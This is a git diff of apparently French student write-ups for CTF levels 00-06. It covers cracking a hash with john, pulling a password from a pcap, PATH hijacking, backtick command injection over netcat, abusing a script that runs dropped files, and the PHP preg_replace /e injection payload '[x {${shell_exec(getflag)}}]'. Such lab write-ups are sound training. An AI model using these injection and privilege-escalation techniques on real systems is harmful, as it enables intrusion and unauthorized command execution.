solution corrected and improved level00-06
This commit is contained in:
parent
e058c734b6
commit
9a8692883d
|
@ -55,10 +55,8 @@ flag12:x:3012:3012::/home/flag/flag12:/bin/bash
|
||||||
flag13:x:3013:3013::/home/flag/flag13:/bin/bash
|
flag13:x:3013:3013::/home/flag/flag13:/bin/bash
|
||||||
flag14:x:3014:3014::/home/flag/flag14:/bin/bash
|
flag14:x:3014:3014::/home/flag/flag14:/bin/bash
|
||||||
|
|
||||||
On peut voir que flag01 donne une information sur le mots de passe. Il n'est pas en claire mais on peut imaginer qu'il est stoquer sous forme de hash.
|
On peut voir que flag01 donne une information sur le mot de passe. Il n'est pas en clair mais on peut imaginer qu'il est stocke sous forme de hash.
|
||||||
On va donc utiliser "john". On enresitre le hash dans un fichier, puis on passe se fichier en argument a john.
|
On va donc utiliser "john". On enregistre le hash dans un fichier, puis on passe ce fichier en argument a john.
|
||||||
|
|
||||||
$ john flag_intermediaire
|
$ john flag_intermediaire
|
||||||
> abcdefg
|
> abcdefg
|
||||||
|
|
||||||
|
|
|
@ -2,11 +2,12 @@ Il y a un fichier nommer level02.pcap. Avec une petite recherche google on appre
|
||||||
|
|
||||||
tshark est un utilitaire premettant de lire les fichier pcap
|
tshark est un utilitaire premettant de lire les fichier pcap
|
||||||
|
|
||||||
-Tfields permet de selectioner des champ specifique, on choisiera le champ data
|
"-T fields" permet de selectioner des champ specifique, on choisiera le champ data avec "-e data"
|
||||||
|
|
||||||
$ sudo tshark -r Ressource/level02.pcap -Tfields -e data
|
$ sudo tshark -r Ressource/level02.pcap -T fields -e data
|
||||||
|
|
||||||
avec un convewrtisseur hex to char on obtien:
|
avec un convertisseur en ligne hex to char on obtient:
|
||||||
|
|
||||||
Password: ft_wandr...NDRel.L0L (avec le '.' qui sont des charactere non inprimable. Ce sont des back-space)
|
Password: ft_wandr...NDRel.L0L (avec le '.' qui sont des caracteres non imprimables (7F). man ascii => Ce sont des backspace)
|
||||||
|
|
||||||
|
En prenant en compte les backspaces on obtient "ft_waNDReL0L"
|
|
@ -1,6 +1,15 @@
|
||||||
On peut voir qu'il y a un executable level03 appartenant a flag03.
|
On peut voir qu'il y a un executable level03 appartenant a flag03.
|
||||||
Ce fichier execute: echo "Exploit me"
|
Ce fichier execute: echo "Exploit me"
|
||||||
|
|
||||||
on peut donc changer le PATH. Cree un fichier executable dans /tmp qui execute getflag
|
on peut donc changer le PATH. Cree un fichier executable nomme echo dans /tmp qui execute getflag
|
||||||
|
|
||||||
quand on execute level03 on obtient alors le flag
|
# /tmp/echo
|
||||||
|
|
||||||
|
#!/bin/bash
|
||||||
|
getflag
|
||||||
|
|
||||||
|
on execute level03 de cette maniere :
|
||||||
|
|
||||||
|
PATH=/tmp:$PATH ./level03
|
||||||
|
|
||||||
|
On obtient alors le flag
|
||||||
|
|
|
@ -1,7 +1,10 @@
|
||||||
Il y a un script qui fait tourner un serveur
|
Il y a un script qui fait tourner un serveur
|
||||||
On se rend compte qu'il tourne avec un find / -user flag04 car il est sur le serveur nginx
|
On se rend compte qu'il tourne avec un find / -user flag04 car il est sur le serveur apache
|
||||||
on voit que le serveur affiche le parametre "x" passe en get avec un echo
|
on voit que le serveur affiche le parametre "x" passe en get avec un echo
|
||||||
echo peut afficher le resultat de commande avec par exemple echo `ls`
|
echo peut afficher le resultat de commande si elle mise entre backquotes par exemple "echo `ls`"
|
||||||
on envoi un requete GET /?x=`getflag` avec netcat sur le port 4848 du pc
|
on envoi un requete GET /?x=`getflag` avec netcat sur le port 4747 du pc
|
||||||
$ nc -v rssweather.com 80
|
|
||||||
le serveur print le flag
|
$ nc 127.0.0.1 4747
|
||||||
|
GET /?x=`getflag`
|
||||||
|
|
||||||
|
le serveur renvoie le flag
|
||||||
|
|
|
@ -2,9 +2,11 @@ avec
|
||||||
$ find / -user flag05 2>/dev/null
|
$ find / -user flag05 2>/dev/null
|
||||||
> /usr/sbin/openarenaserver
|
> /usr/sbin/openarenaserver
|
||||||
|
|
||||||
On peut lir le script il execut tout les fichier dans : /opt/openarenaserver/ puis les supprime
|
On peut cat le script il execute tout les fichier dans : /opt/openarenaserver/ puis les supprime
|
||||||
|
|
||||||
En crean un fichier dans ce dossier on peut observer qu'il est rapidemnt suprimer, donc executer
|
En creant un fichier dans ce dossier on peut observer qu'il est rapidement suprimer, donc executer
|
||||||
|
|
||||||
il suffit d'avoir un fichier qui contien:
|
il suffit d'avoir un fichier qui contient:
|
||||||
getflag > /tmp/flag05
|
getflag > /tmp/flag05
|
||||||
|
|
||||||
|
il sera alors execute et on pourra recuperer le flag dans /tmp/flag05
|
|
@ -1,16 +1,20 @@
|
||||||
On a vu qu'il y avait un script php qi etait executer par un executable.
|
On a vu qu'il y avait un script php qui est execute par le binaire level06.
|
||||||
C'ette executable prent en argument un fichier et transmet le comptenue du fichier au script php.
|
Cet executable prend en argument un fichier et transmet le contenue du fichier au script php.
|
||||||
Ce scripte php effectue plusieur regex.
|
Ce script php effectue plusieurs regex.
|
||||||
|
|
||||||
On a telecharger ce scripte pour l'indenter correctement et pouvoir un peu mieux le lire malgres les regex...
|
On a telecharge ce script pour l'indenter correctement et pouvoir un peu mieux le lire malgre les regex...
|
||||||
|
|
||||||
Apres quelque recherche sur les regex, preg_replce et /e en php, on a efectuer une simple recherche google:
|
Apres quelque recherche sur les regex, preg_replace et /e en php, on se rend compte que la ligne :
|
||||||
"ctf preg_replace /e"
|
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
|
||||||
|
|
||||||
le premier liens etait un exo de ctf remarcablement identique a notre exercice:
|
est vulnerable, en effet le modifier /e fait que le deuxieme argument de preg_replace sera interprete comme une expression php
|
||||||
https://0x00sec.org/t/how-to-pwned-nebula-level09-php-preg-replace/812
|
|
||||||
|
|
||||||
|
on remarque qu'on peut utiliser une commande shell en php avec shell_exec, il suffit donc d'entrer l'expression php
|
||||||
|
shell_exec(getflag)
|
||||||
|
dans la regex
|
||||||
|
|
||||||
il faut un ficher avec
|
il faut un ficher avec
|
||||||
|
|
||||||
[x {${shell_exec(getflag)}}]
|
[x {${shell_exec(getflag)}}]
|
||||||
|
|
||||||
|
puis rentrer ce fichier en argument du binaire level06
|
Loading…
Reference in New Issue